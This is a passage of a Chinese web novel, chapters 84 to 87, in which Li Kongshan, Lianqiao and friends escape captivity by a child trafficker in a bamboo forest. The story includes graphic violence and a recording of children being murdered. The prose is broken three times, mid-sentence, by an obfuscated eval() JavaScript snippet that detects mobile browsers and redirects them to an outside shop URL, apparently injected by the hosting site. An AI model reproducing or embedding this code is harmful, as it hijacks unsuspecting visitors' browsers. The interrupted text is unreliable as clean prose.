陈黑子看向另外一边的连翘,“李空山,你可想而知,她的心有多歹毒啊?这么多年一点儿愧疚都没有,甚至还活得好好的,独自一人潇洒快活。这样的人,哪儿点值得你去护着?” 李空山手里握着刀,正要朝陈黑子刺下去,忽然顿住。 唯一活下来的一个…… 所以,她总在夜里做噩梦,总在午夜时默默站在窗前吹冷风,总是在天黑的时候躲起来偷偷哭? 唯一活下来的一个…… 会不会有一种可能,当年他失约没能去接的那个小妹妹还活着? 李空山没能再继续往下想。 因为。 陈黑子趁着他分心的间隙,忽地就给他肚子上来了一拳,又趁李空山步伐不稳往后退的时候,乘胜追击,接着在他的腰间刺了一刀。 “李空山!” 连翘听见戛然而止的打斗声,往李空山这边看来,他腰间中刀的画面映入她的眼帘。 她蓦然瞳孔紧缩。 放下刀就朝他跑去。 李空山皱了下眉,刀子刺得不算太深,就是有点疼,还在往外冒血。 “靠,被阴了。” 他左手捂着肚子,握着刀子的右手紧了紧,正想朝陈黑子反击回去的时候,看见连翘正朝自己跑来。 突然,灵机一动。 反正陆平安和孙阚平带人来还得需要点时间,倒不如将计就计,拖延点时间,让陈黑子和邱炀放下警惕。 “……李空山……你怎么样?” 连翘跑到他身边,急得快哭了,就连声音都在颤抖。 她低下头去看他的伤口,眉头紧锁,眼里全是恐惧和害怕。 她只求李空山千万不要有事,千万不要。 “有点……有点晕。” 李空山把声音拖长,左手捂着肚子,顺势靠在连翘肩上。 眉梢露出转瞬即逝的得意。 不过,至于之后的事他确实记不清了,晕是真的晕,眼睛一闭上,就不省人事。 当他再次醒来,正和连翘一起,被关在一间小破屋里。 屋子应是荒废了许久,头顶上方的房梁有些烂,屋檐水从洞口处滴滴答答往里滴水。 周围的杂乱摆放的木头散发着霉味。 李空山一有动静,连翘就立刻变得警醒,着急看向他,询问道,“李空山,你怎么样?有没有哪里不舒服?” “尧尧?”他低头看了眼自己腰间被人简单包扎好的伤口,环顾了眼周围,“我命硬,死不了,不过……我们现在这是在哪儿?” 他再次瞄了眼被自己倚靠过的、连翘的肩,有些怀疑,自己这是在做梦。什么时候连翘居然都不抗拒他的靠近了? 于是,李空山顿了顿,试探性开口询问,“难道我已经死了,这里是太平间?” “……” “李空山。” 连翘郁闷地盯着他。 哪儿有人刚一醒来,就这样诅咒自己的。 “你看清楚点,这里不是太平间,你还好好活着的,不准在这儿胡说八道。” “哦……没死啊。” 李空山松了一口气,不过听上去,竟让人觉得,他这是还有些遗憾。 连翘偏头,盯着他,“你以后能不能小心点,不要再意气用事?陈黑子是什么人?你不清楚?竟然还敢自己一个人上山来找他,李空山,你不要命了?” 她的话语里满是责备。 若不是陈黑子没有下重手,刺得更深些,李空山现在绝对没机会再坐在这儿和她说话。 两个人的手都被麻绳捆着,动弹不得。 李空山歪了下头,往后仰,若有所思打量她,拉长声音,心中有所定夺后,便忽然变得惊喜,往前凑,“尧尧,我说你怎么突然这么凶,难不成你是害怕我死了?” “没有。” 连翘嘴硬,把脸别开,看向别处,“你想得美。” 李空山“啧”了一声,又笑又无奈地晃晃头,不再继续追问。 他才不要用问的,连翘在不在意他,她的一切反应和表现都自有答案。 现在,他开始回答连翘刚才的那番话。 “刚刚你也听到了,我找陈黑子,真是为了个人恩怨来的,我得找他报仇,跟你没关系,你也没想太美,自以为是啊。” 他的语调轻快,似笑非笑,时而装模作样地往旁边看,时而架不住另一番心思往她身后看去。 “你……”连翘欲言又止,轻轻哼了声,把脸挪向另一边。 两个人沉默了一会儿。 屋檐水滴滴答答的声音还回荡在这间安静的小破屋里。 这里应还在竹海的范围,窗外雾气萦绕,肉眼可见。 只是竹海范围太大,若要搜寻起来,至少需要几天的功夫。 李空山百无聊赖地数着脚下的稻草秸秆数目,突然用手肘轻轻碰了下身旁的人,“哎,尧尧,我有办法让我们两一起逃出去,你想不想听?” 每当李空山展现出这幅吊儿郎当的样子,连翘就觉得他肯定不安好心,不靠谱。 绝对没好事。 她将信将疑,偏头瞧他,想在他的目光里瞧出点儿什么能让她信服的东西,却未果。 “我不想听。” 她正要把头挪回去,李空山连忙把她叫住,“哎哎哎,你别急啊,听我说说呗,说不定你也觉得,这是个好主意。” 连翘欲言又止,终究是依了他。 “也行,那你说。” 李空山得意,往她身边挪近些,挑了下眉,欲细细说来。 一切尽在他的掌握中。 说连翘了解他,其实倒不如说,他更了解连翘。 李空山欲言又止,保持沉默的时候,没人能看懂他到底在想什么,可若连翘保持沉默,一言不发,李空山却能猜出她的心思。 从前的连翘总爱沉默。他早就习惯了去感知她的想法和感受。 他们遇见的第一天,她也是沉默的,不作声。 “咱们这样,等会儿他们手下的人来检查咱们还在不在的时候,你就大喊求救,说我伤口裂了,大出血,快要不行了。” “你这是在咒你自己,我不同意。” “怎么就不同意了?”李空山虽想不通,但还是很好奇,试探问,“难不成,你心疼我?” “才没有。” 连翘想也不想,直接一口否认,“是因为你真把你咒死了,我就一个人,到时候想逃出去,垫脚的都没有。” “嘚,是是是,你说的都对。” 李空山掩饰自己的笑意,继续说,“你放心,就随便这样喊一句就行,剩下的交给我。” 连翘不为所动,还陷在自己的犹豫和考量里。在李空山的软磨硬泡下,她终究还是被他说动,同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628536|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意照他的办。 一个多小时后,果然有人来开门,检查屋子里的情况。 “准备准备。” 李空山做得笔直,连翘也学他坐直。 然而,还没等到连翘开口大喊呼救,开门的人率先把另外两个人赶进来,“给我到里面待着去——赶紧的!别磨叽!叭叭叭的给我吵死了!” 李空山朝门口看去,目光是皆是疑惑和纳闷,在看清门口亮光下两个人的脸以后,他的脸上瞬间升起怨气。 怎么是你俩。 “轻点,没看到我们有脚吗,我会自己走!” 许弋刚甩开赶自己和景融进来的男人的手,骂骂咧咧走了进去,一见到李空山,脸色立刻一变,点头哈腰打招呼,“呀,哥,好巧,你也在这儿。” 李空山:“……” 景融径直蹦到李空山旁边坐下,“太好了,哥,你没事就好。看你那么久没下山,我们还以为你出事了。” 他和许弋刚的手也都被麻绳捆着。 李空山瞄他一眼,有些不悦,“不是……你俩怎么也被绑过来了?我不是让你们在山下好好待着,接应我吗?” 许弋刚嗓门大,不假思索就直接开口回答,“我们这不是担心你嘛!” 他笑笑,手被反捆在身后,一蹦一跳地蹦到李空山正前方。 “哥,你就说,咱够不够义气!” 李空山别开眼,有些不想看他们两人。毕竟,他刚才和连翘说的计划就是,找机会溜出去,让山脚下的景融和许弋刚接应。 这下好了,接应的人也被一起关进来。 许弋刚跟李空山打完招呼后,又看向一旁的连翘,乐呵呵开口,与之前的态度大相径庭。 “连翘妹子,好久不见,上次我对你发了脾气,希望你别见怪啊,我就是脑瓜子闷,想不明白。可是啊——” 他慷慨激昂,“我知道你替我哥挡了一刀后,我就对你另眼相看了,以前的莽撞,我向你赔个不是,你别往心里去!” 连翘被这突如其来的热情吓到,半响才反应过来,她随意笑笑,坦率开口,“没事。都过去了。” 许弋刚现在知道在连翘面前认错道歉,自然离不开李空山当初让他在院子里罚了三百个蛙跳。 自此,他长了教训,绝对不再冲撞连翘。 李空山对许弋刚今天的态度还算满意,看看他,又看看旁边的景融,“你们俩好好说说,怎么被抓进来的?” 许弋刚抢先发言,“你不知道,我们本来想着上来救你,抄着家伙就来了,结果刚上山弄丢了导航仪,一直迷路,还中了陈黑子那狗腿子的陷阱,掉进他们挖的坑里。” 景融随之附和,“没错!被阴了!” “被阴了”这三个字倒是有些耳熟,李空山记得,好像自己也说过。 虽出自不同人的口,但有一点相同的是,他们都是故意的。 他面不改色,训斥两人,“你们怎么不把自己也给弄丢了?这么大人了有什么用?还斗不过陈黑子和邱炀?” 许弋刚厚脸皮回话,有些不好意思地低下头,“……这不是跟你学的吗。哥,你看你,不也一样被抓了进来……” 李空山:“……” 欲言又止的他顿了下,若无其事地扬起下巴往别处看。 连翘看着他们几人耍嘴皮子功夫,轻轻笑了下。 她和李空山都很清楚,其实景融和许弋刚只是担心他被关在这里有危险,所以故意让人抓进来,陪着他一起。 至于逃出去的方法……除了连翘,他们都很清楚。 85. 第 85 章 几人保持沉默的时候,邱炀忽然拿着一把刀走进来。 李空山睁开轻闭的眼睛,抬眸看他,脸色有些沉重,“你想做什么?” 邱炀不回答他,径直朝连翘走去,他把连翘拉起。 随着他一起进来的人在他眼色示意下,随即把连翘的手按在长板凳中央,压得死死的。 邱炀始终不敢看李空山,盯着连翘被按住的手,举起大刀,对准她的手腕,“李空山,你给我们的卡是假的!现在你看清楚!今天你要再不说你把储存卡藏在哪儿,我就把她的手给剁了!” 连翘试着用力去挣扎,但牵制住她的几个男人力气实在太大。 “是吗?”李空山挪开目光,盯着邱炀,沉默了几秒,“你真的敢这样做?邱炀哥,你敢不敢看着我的眼睛,回答我。” 邱炀直接回避他的问题,厉声喊道:“我没有那么多耐心!你赶紧选!要她的手,还是告诉我们储存卡的下落?” 李空山不禁笑了下,目光从连翘被按住的手腕上挪开,对于邱炀,他心里是有执念的。 “邱炀哥,以前你给我说,你在镇子混不下去了,想出去打拼打拼,还一个劲儿地劝我,不要跟着下三滥的人鬼混,要去走自己的路,找自己的道,我想知道,这些你都是在演戏吗?” 邱炀不看李空山一眼,直勾勾盯着长板凳,胸口随着呼吸而上下起伏,复杂的情绪盘旋在他的心头。 是演戏吗?还是心底话?他有答案,但是他并不打算把自己心里的这一答案告诉任何人,包括李空山。 房间陷入一段时间的沉默。 李空山不再等邱炀回答自己,他知道,有些时候,有些执念,是需要放下的。 他告诉自己不要再去执着于自己想要的回答。 一句回答而已,没有用。 “刚子,”李空山直勾勾盯着前方,目光落在牵制住连翘不让她有所动弹的几个男人身上,声音很低,“你懂我意思吧?” “那是自然。” 李空山不用说,许弋刚就明白。他们两人都盯着前方。 景融坐在李空山的左手边,时时刻刻都保持着都谨慎小心,“哥,你放心去,我们给你顶着。” 话音刚落,李空山的手径直从绑紧的麻绳中挣脱出来,迅速朝连翘这边走去,一脚踢开按住她手腕的男人,拳头朝按住她肩膀的另一个男人太阳穴砸去,男人踉跄,还未来得及躲闪,李空山又朝他肚子上踢一脚。 “尧尧,跟我走。” 李空山拉住连翘的手,欲带她出去。 邱炀见状,连忙握着大刀拦在两人前面,挡住门口的去路,眼神阴鸷,“你俩今天谁都别想走。” “真的假的,你问过我们意见了吗?”许弋刚抡起板凳砸晕邱炀手底下的人,又迈着大步子朝门口这边跑来,“哥,你带着她赶紧走,这儿交给我和景融!” 李空山有些犹豫,一边是连翘,一边是许弋刚和景融,哪一边他都放心不下。 “还愣着干什么,”二话不说,许弋刚抡起长板凳就朝邱炀砸去,“就按我们之前说好的,东边山腰处汇合。” “好。” 李空山下定决心,“你们一定要小心,我把她送下山,就来找你们。” 邱炀迅速躲开许弋刚砸过来的长板凳,而李空山也趁机牵着连翘往屋外跑。 景融站在许弋刚身后,给他加油打气,“刚子!加油——刚子!你最棒——” 许弋刚躲开邱炀挥过来的长刀,瞄了一眼景融,“你丫的还站着干什么!快过来帮忙啊!我滴个亲娘,这是真刀,不是玩具刀!” “哦对对对!” 景融笑笑,反应过来,从被打晕在地的几个男人手里抢走钢条,甩给许弋刚,“你接着!” 这种打打杀杀的事,景融的确不擅长,但是在场外做辅助,当援手,他还算在行。 许弋刚挡在脸前的长板凳被邱炀手中的刀一秒砍断,他把断成两节的长板凳扔开,伸出手接住景融甩来的钢条。 屋外,陈黑子派来巡视的人听到动静,纷纷朝小木屋这边赶来。不多不少,约莫有十几个人。 在窗边观察情况的景融见状,厉声对还在和邱炀缠斗的许弋刚喊道,“刚子!咱们得快点,他们来人了!” “他奶奶的。”许弋刚破口大骂,没想到邱炀这个人这么难缠,而且疯了一般要摆脱他,好去追跑走的李空山和连翘,好似不惜命一样。 关键时刻,景融盯着许弋刚,出声提醒,“我给你的东西!” 许弋刚立刻想起来还有这件事,他扔掉手里的钢条,屈膝滑跪,从冲过来的邱炀身旁躲闪开,与此同时,他按了下手表旁边的小按钮,刹那间,一根如针般的锐器冒出,划伤邱炀的手臂。 锐器不简单,上面涂了药粉,虽不致死,但能让人感到钻心的痛。 邱炀痛得手上失去力度,手中的长刀跌落,皱紧眉头,掐住自己的手臂,半跪在地。 就是现在。 许弋刚捧起角落里的稻草秸秆就朝他身上散去,连带着之前所有的愤恨,对他又打又踢,直到他最后没了反抗的力气,这才叫上景融赶紧走。 两人身后,是紧追他们的陈黑子的人。 - 李空山带着连翘一路往山脚下跑,他的脑子里有一张地图,对这里的地形地势很熟悉,也深知一直往下走,就是竹海的出口,很隐蔽,陈黑子的人不会守在那儿。 “尧尧,你听我说,等会儿会有人在下面接应你,你出去以后,就赶紧找个安全的地方,不要再回来。” 连翘任由李空山拉着自己不断往前,她盯着李空山这只有力的手,好似又看到好几年前的他,那时,他也是这样,拉着自己往前走,哪怕前途未卜,不知明暗。 “你让我走,那你去哪儿?” 李空山用脚踢开缠绕在一起挡路的杂草,开出一条路,“我还得回去找刚子和景融,他们只有两个人,拖不了不久的时间。” 连翘仍然记得刚逃出来时,李空山和许弋刚、景融说的那些令人云里雾里的话,“你们为什么还要去东边儿?李空山,那里有什么?” 她既然要问,那他便告诉她,他只求连翘此去能够平安,彻底拜托竹海山上的危险。 “那里关着陈黑子他们最近拐卖来的儿童。” 突然,连翘不走了,怔怔立在原地,她的思绪忽然回到很多年前那个风雨交加的夜晚,她和同样被拐来的同龄人被关在车上,叫天天不应,叫地地不灵,距离死亡只有一线之隔。 “我和你一起去,”连翘执意要陪着李空山,“那边肯定有很多危险。” “别闹,尧尧,”李空山踢开连翘脚下的石头,以免不看路的她摔倒,“那些人都不怕死,你一个女孩子,又不会打架,去了不仅会有危险,我还得担心你,这不是添乱是什么。” “可是……”连翘无法让自己置身事外,仿佛被关在东边儿,随时有可能被陈黑子等人送走拿去做交易的孩子,就是从前的她自己。 李空山垂下眼眸,注视她。 他何尝不知道她心里在想什么,可是这是生死攸关的大事,她就算再大胆,也绝不能在这事上往前冲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651208|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他还未来得及开口,连翘往后退了一步,脚底打滑,顺着陡坡就摔下去,一直往陡峭的斜坡下滑。 “尧尧!” 李空山来不及多想,紧跟着跳下去,接住半途中树根的力,用力往下蹬,以更快的速度去触及连翘。 抓住连翘的衣角以后,李空山把她往自己身上推,自己做她的肉垫子。 两人就这样猝不及防被迫顺着斜坡下滑,斜坡中长满有刺的绿藤蔓,一路滑到斜坡底部,李空山的身上多了很多大大小小的划痕和口子。 锋锐的藤蔓刺头也扎得李空山不禁皱了下眉。 落到平地以后,连翘倏忽站起,慌张转身,忧心忡忡地扫视他的情况,“……李空山,你是不是傻……这得多疼。” “疼什么啊,不疼。” 李空山忍着锐刺扎出口子的痛,在连翘的搀扶下站起,都这幅样子了,还要嘴硬,“我是纯爷们,这点痛不带怕的。” 连翘还欲再说什么。 她脚后方的荒草地里,一条黑皮红纹赤链蛇忽然从草堆里爬出来。 钻入李空山的目光中。 赤链蛇头背黑褐色,鳞沟红色,腹面污白色,长约一米,此刻,正抬起脑袋,呈S型做出攻势。 “小心!” 就在赤链蛇要超连翘的小腿咬去时,李空山忽地把她推开,挡在自己怀里。 蛇咬住李空山的脚不放。 连翘看清楚两人脚下这条盘旋在地的长蛇时,瞬间毛骨悚然。 李空山皱眉,因感到痛而“嘶”了一声,但仍把连翘好好护着。 连翘慌了神,不知道该用什么方法才能赶走这条蛇,而就在这时,赤链蛇忽然松开嘴,顺着山间荒草的缝隙钻走。 “李空山!你有没有事!” 连翘又害怕,又慌乱,她的眼眸中流露出恐慌,心仿佛也都提到了嗓子眼儿。 “尧尧……走,快走。” 李空山按住连翘的肩膀,皱着眉开口,他知道留给许弋刚和景融的时间不多了。 连翘的声音发出颤抖,身子也跟着发颤。 “……不行,李空山,你被蛇咬了,你有危险,我们必须得一起走,我带你一起下山。” “尧尧……” 李空山提醒她,脸色煞白,“我现在这个样子,怎么跟你一起下山?你现在最理智的选择,是赶紧下去帮我找援手,而不是跟我一起耗在这里浪费时间,对不对?” 他虽催促着连翘赶紧离开,但对她始终颇有耐心。 “对……没错……我得赶紧去帮你找医生……” 连翘立刻不再执着留下,也不再执着要和李空山一起离开。 李空山刚要开口,连翘身后忽然走出一个人。 陈黑子提着刀,讪笑着从大树后面走出来,歪着脑袋,“别犹豫来犹豫去了,现在,你们一个都走不了。” 李空山没想到陈黑子会这么快就追上来,瞳孔蓦然紧缩,二话不说,忍着身体的不适,绕过连翘,将她挡在身后。 他的声音淡淡的,目光狠厉。 “是吗,可是我也不会给你这个机会。” 李空山微微挪动的步子里有犹豫和紧张,他倒是无所谓,但他担心身后的连翘。 只见他轻轻侧了下头,余光看她,放低声音,“尧尧,我说三二一,你立刻往你身后跑,不要回头,记住我说的,山脚下有人接应,出去以后找个安全的地方,绝对不要再上来!” “好。”连翘看向李空山的目光里充斥着害怕和忐忑,“李空山……你再坚持一下,我现在就去找人帮你!” 86. 第 86 章 “三、二……” “一……” “跑——” 连翘按所答应李空山的做。 他的话音一落,她立即转身往山脚下跑,李空山挡在路中间,挡住去路,不让陈黑子从此地经过。 陈黑子的目光依依不舍从跑远的连翘身上挪开,叹息一声,打量李空山,“你说你这是何必呢?你觉得以你现在你这个状态,能打得过我?” “你要不信,那就过来试试啊。” 李空山从后腰处拿出别在那里的刀,举在身侧,随时做好和陈黑子死斗的准备。 经过一番厮打,陈黑子踩住李空山的肚子,把他摁在地上,左手掐住他的脖子,右手握着刀,对准李空山的脑袋。 陈黑子面目狰狞,眼里只有那张下落不明的储存卡,为了得到这样东西,他可以不择手段。 因为他一定要抹去自己犯罪的证据。 储存卡里的东西,他不想让更多人知道。 显然,李空山并没有用全力,他让自己处于弱势一方,给陈黑子制服自己的机会,就是等此刻。 他直勾勾盯着陈黑子的眼睛,神色平和,“黑子哥,我好像已经很久没有这样叫过你了。” 陈黑子一言不发,死死瞪着李空山,无论他说什么,此刻,陈黑子的脑子里都只有储存卡。 “今天我可以不杀你,但你必须告诉我,那张卡,你到底藏在了哪儿!” 他有些急了,掐住李空山的脖子,几乎是吼着说出这句话。 可李空山依然表现得很平静,娓娓道来。 “黑子哥,说真的,我现在都觉得像做梦一样。我怎么都不会想到,原来他们口中的那个坏人会是你,一直在我身边待了那么多年。” “……你还记得你以前说过什么吗?” “以前,我是个废人,混天度日,不学无术惯了,后来碰到了你。你说你有个愿望,要去找回被人贩子拐走的女儿,希望我能加入你,和你一起,一边放点高利贷赚点小钱,一边找人贩子的线索。 可是,就是这样一个你,一个和我说这些话的你,竟然就是你人贩子中的一员,你不觉得很荒谬,很可笑吗?” 陈黑子松了松握紧刀子的手,淡淡道:“没什么荒谬的,要怪,就只怪你自己太随便就能相信一个人。” “我当初也从没对你发誓过——我说的全都是真的,不是吗?” “是,我承认你说的这些话,有虚假的成分,”李空山继续一眼不眨,注视着陈黑子的眼睛,从前在清流镇的那几年,他没能看清这双眼眸里究竟藏着什么,今天,他终于能看清楚,“但是,你每天晚上都拿出你女儿的照片来睹物思人不是假的,你对你女儿的想念也不是假的。” “黑子哥,”李空山不怕自己今天死在陈黑子手里,如果他真能下死手,那就算他自己倒霉,栽在了他手里,但他必须得把自己想说的话说完,“当初你和那些人一起把我妈妈折磨死的时候,有没有想过,你的女儿被人贩子折磨死是什么样子?” 他的声音渐渐抬高,情绪也变得激动。 “还有你的女儿。她死在了人贩子手里,可如果她泉下有知,看到自己的爸爸竟然跟着那些人贩子一起,做起了枉为人的勾当!她还会认你这个爸?她如果知道你也当了人贩子,一定死不瞑目!” 陈黑子的情绪也因李空山提起自己的女儿而变得扭曲,他瞪大眼睛,露出眼睛里的红血丝,掐住李空山的脖子更紧些,“我奉劝你一句,不要再提我的女儿!” 李空山完全有力气去挣脱陈黑子。 他虽然不怕死,但是他还不想死,毕竟,他至今都没有听到他的尧尧说一句想他。 于是,李空山挪动手臂,试着去扳开陈黑子的手。 陈黑子把李空山的手挡回去,而与此同时,他的手也无意间碰到了李空山手腕上戴着的手表的按钮。 那是个什么玩意儿,李空山并不知道,不过几秒过后,他便能明白了。 按钮被不小心触碰按下以后,手表上显示世间的画面立即消失,随即出现的,是一段起起伏伏的录音频。 这是景融在读取储存卡数据时,无意间发现的。 录下这段音频的人,是李空山的妈妈,早些年的时候,她曾跟踪人贩子团伙到了他们的窝点,但很遗憾,仅凭她一人之力,没能救下当时正被推上解剖台的孩子。 不过,在人贩子发现她并派人追拿她之前,她录下了这一段音频。 录音里,一个小女孩稚嫩的声音响起,她不哭也不闹,而是好奇地问:“叔叔,为什么要把我们一个接一个地带到陌生的房间里,房间里面在做什么?” 小女孩的话结束以后,随之响起机器切割骨头的声音,以及孩子们被人活生生割喉而死的凄厉惨叫,还有目睹同龄人被解剖而害怕得拼命往外逃的哭声。 陌生男人的声音紧接着响起。 “不要问那么多为什么,进去以后,乖乖躺在台子上就行,躺在台子上以后,你们会做一场梦,梦结束以后,什么痛苦都没有了。” “为什么做场梦就没有痛苦了?我爸爸说,痛苦不会平白无故消失,只能靠自己的心和时间去淡化。你骗人,里面的人都在哭,你是坏人,你们都是坏人!放我走!我要去找我的爸爸!” 男人把女孩拖回来,挣扎的声音和腿脚擦地的声音断断续续。 女孩疯狂挣扎、大喊,“你们这群坏人!杀人犯!我的爸爸是英雄,总有一天,他会找到你们!替我们报仇!坏人!” 音频又断断续续,卡了一段时间,最后发出滋滋滋的声音。 最后播放的是小女孩的哭声,令人心碎,“爸爸救我——爸爸救我——” 录音播放到这里便结束。 李空山愣了,他没想到景融给自己的手表里竟然还暗藏这样的玄机。 他以为这玩意儿就是个普通的表而已。 陈黑子手上的刀忽然从他手里滑落。 “诺诺……我的诺诺……” 他瞳孔紧缩,紧盯着李空山手腕上的这块表,心痛到了极点,仿佛窒息到不能呼吸。 录音里女孩的声音,陈黑子再熟悉不过了,那是他的女儿。 李空山说的那些话,陈黑子不是没有听进去,只是这么些年来,他一直在自欺欺人。 他骗自己,他的女儿不会看到。 他骗自己,他的女儿不会知道他的爸爸是一个禽兽、畜生,骗自己,他的女儿不会知道他手上背负了这么多条人命。 他的女儿生前还喊着他的名字,还在喊救命,可是他不仅没有为他的女儿报仇,反倒在找到那些人贩子以后,利益熏心,干起了和那些人贩子一样的龌龊勾当。 陈黑子积压多年的愧疚眼泪流了出来,划过脸颊。 他还有什么脸去见自己死去的女儿呢? 李空山斜睨着眼睛,侧着头盯陈黑子,此刻,陈黑子一动不动,身子控制不住地颤抖,仿佛丢了魂儿一般。 女儿死在人贩子手里,父亲报仇半路,摇身一变也成了人贩子。 说来也可笑,可世上偏偏就是有如此荒谬的事。 陈黑子忽然笑了,笑得撕心裂肺,他扯着自己的嘴角,踉跄着步子,往后退了些距离,蹲在树桩前发出寒颤的笑。 笑得实在没有力气以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660843|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,他才放下自己的嘴角,低下头,像个死人,失魂落魄。 “诺诺……我对不起你……爸爸对不起你……” - 连翘拼命往山脚下赶,想要抓紧时间,李空山被蛇咬了,危在旦夕。 半路上,她遇到了陈黑子手底下四处搜寻的人,可这些依然没有阻挡她追赶时间的脚步。 她躲开这些人,继续往山脚下跑,男人在她跑出一段距离后才发现她,二话不说,紧跟着追上去。 “快一点,再快一点!” 连翘的头发散落一缕,混着泥土黏在脸颊侧边。一路上她都在不断地提醒自己加快速度,这种渴望和着急,远远胜过了当初她逃离清流镇往上爬的野心。 无时无刻不在害怕着李空山因为自己多一秒的耽搁而有危险。 时至今日,连翘终于明白了,在证明她所想证明的一切后、在她尝试着去好好走出自己的路以后——她最在乎的是什么。 是悄无声息闯入她的生活里,给她波澜不惊的日子留下许多温暖和憧憬的那个人。 是一次次心高气傲绝不服输,却愿意在她面前服软的他。 她终于明白,原来几年前的那个绵绵春雨日,能让李空山踢开那扇门闯入她生活的,并不全是她的野心和谋略,还有她和李空山走入彼此世界的命中注定。 连翘的裤脚上都是泥,鞋子上也是,正因为如此,鞋子上的重量也变大,但她还是不知疲惫,一刻都不敢停。 前方的亮光格外刺眼,连翘穿过林子,终于抵达山脚下的这条小溪流,岸边堆满冲刷到此的石头,鲜有草木生长。 岸堤处站着一个人。 她顾不上那么多,大声呼喊,“快来帮帮我们!求你了!” 话音落下,她又继续往前跑去。 听到声音,林帛圩惊喜回头,他想,太好了,焦急地在这儿等了这么久,终于看到连翘平安下山。 果然,李空山说的没有错,他答应林帛圩,会把连翘平安送下来。 “翘翘妹儿!” 林帛圩站起,径直朝连翘跑去。 连翘顾不上去惊讶为什么他在这儿,在林帛圩的搀扶下,她喘着气,焦急开口,“打救护车的电话!李空有危险!” “好,我打,我现在就打。” 林帛圩拿起手机,把电话拨出去,而连翘说完以后,转身就要走,欲再次回到山上去。 “哎你还要去哪儿——”林帛圩交代完地点位置以后,挂断电话,立即把连翘拉住。 连翘回眸,目光是那样决然,“他还在上面,我不能让他一个人。” 林帛圩自然懂连翘说的是谁。 他刚想开口劝连翘,由自己代她上去,忽然,山上冲下两个男人,是来抓连翘的。 “不好,翘翘,你躲我后面。” 林帛圩往前一步,把连翘挡在身后。 有那么一瞬间,连翘觉得自己很幸运,在这个世界上,不仅有李空山义无反顾挡在她面前保护她,还有眼前这个林叔叔。 “我没事。” 连翘站到他旁边,“林叔叔,你可以帮我个忙吗?” 林帛圩毫不犹豫,“你说。” “帮我拖住这两个人,我要上山去找他。” 风吹过连翘的头发,吹不散她眼里的担忧,也带不走她脸颊上脏兮兮的泥土,更磨不平她要去找自己所在乎之人的决心和勇气。 “没问题,”林帛圩弯腰,捡起放在石滩上的两把榔头,挺起胸膛保证,“翘翘,你放心去,这里有你林叔叔给你扎起!” 连翘点头,错开跑下山来的两人,朝斜前方跑去。 87. 第 87 章 两个男人见连翘往另一边跑,立即掉转方向,欲赶去抓她。 林帛圩跑到路中间,挡住两个男人的去路,平日里他都是很文质彬彬的一个人,今日忽然转变人设,展现彪悍的一面。 不过,这对他来说,小事一桩。 “此路是我开,此锤是我买!想抓我翘翘,先过我这关!” 他握着两把榔头,气势汹汹,仿佛拿下面前这两个男人,胸有成竹。 两个男人彼此对视一眼,重新看林帛圩,如同在看一个……脑子有点不太正常的中年大叔。 对他很是不屑。 林帛圩读懂两个男人眼里的意味,“呵”了一声,恣意开口,“还敢瞧不起我?看我不给你们点颜色瞧瞧!” 两个男人拿着钢条迎面走来,林帛圩以前没打过人,虽然嘴上放了狠话,但心里还是有点怂。 他闭着眼,举起锤子上下左右瞎晃,竟然在这场混乱之中,真的砸到其中一个男人的脑袋。 只能是对方掉以轻心的缘故,绝不是林帛圩真有这个本事。 男人被砸,翻了个斗鸡眼,直接栽倒,没过多久就晕过去。 旁边的男人看他,有些难以置信,掉线掉得也太早了吧? 林帛圩看着眼前这个躺地的男人,同样有些难以置信,这竟然真的是他解决掉的? 突然,林帛圩就来了自信。 他右手举起榔头,对准正前方的男人,气势汹汹,“来啊!你有本事也来啊!看我不把你打晕!” 男人才不怕林帛圩,提脚就朝他走去。 林帛圩突然屏息,若说刚才他运气加成,恰好打到了第一个男人,可接下来不意味着他还有这么好的运气。 男人朝他步步逼近,他实在太忐忑,手发抖,瞎晃榔头也打不到对方。 不仅如此,男人还轻而易举地抢走了他手里的榔头。 这下,本就不会打斗的林帛圩连“武器”也没了。 顾不上那么多,他索性直接抱住男人的脚,“休想去抓我们的翘翘!我不会让你走的!” 男人有些诧异,他也没想到林帛圩的最后杀招竟然是……耍赖? 他试着挪动脚,把林帛圩甩开,可是林帛圩抱得死死的,脚根本动弹不得。 于是,急着去把连翘抓回来的男人没了耐心,直接用另一只脚去踢他的脑袋、后背、大腿、肚子…… 用手里的钢管抽他…… 但林帛圩依然抱得死死的,坚决不放手。 - 跑上山的连翘沿着原路返回。 当她靠近与李空山分别的地方时,蓦然发现李空山躺在地上,一动不动,而旁边的陈黑子则蹲在树桩前发笑。 他在笑什么?笑终于解决了李空山吗? 不好。 连翘心慌意乱,迅速提脚朝躺在地上昏迷不醒的李空山跑过去。 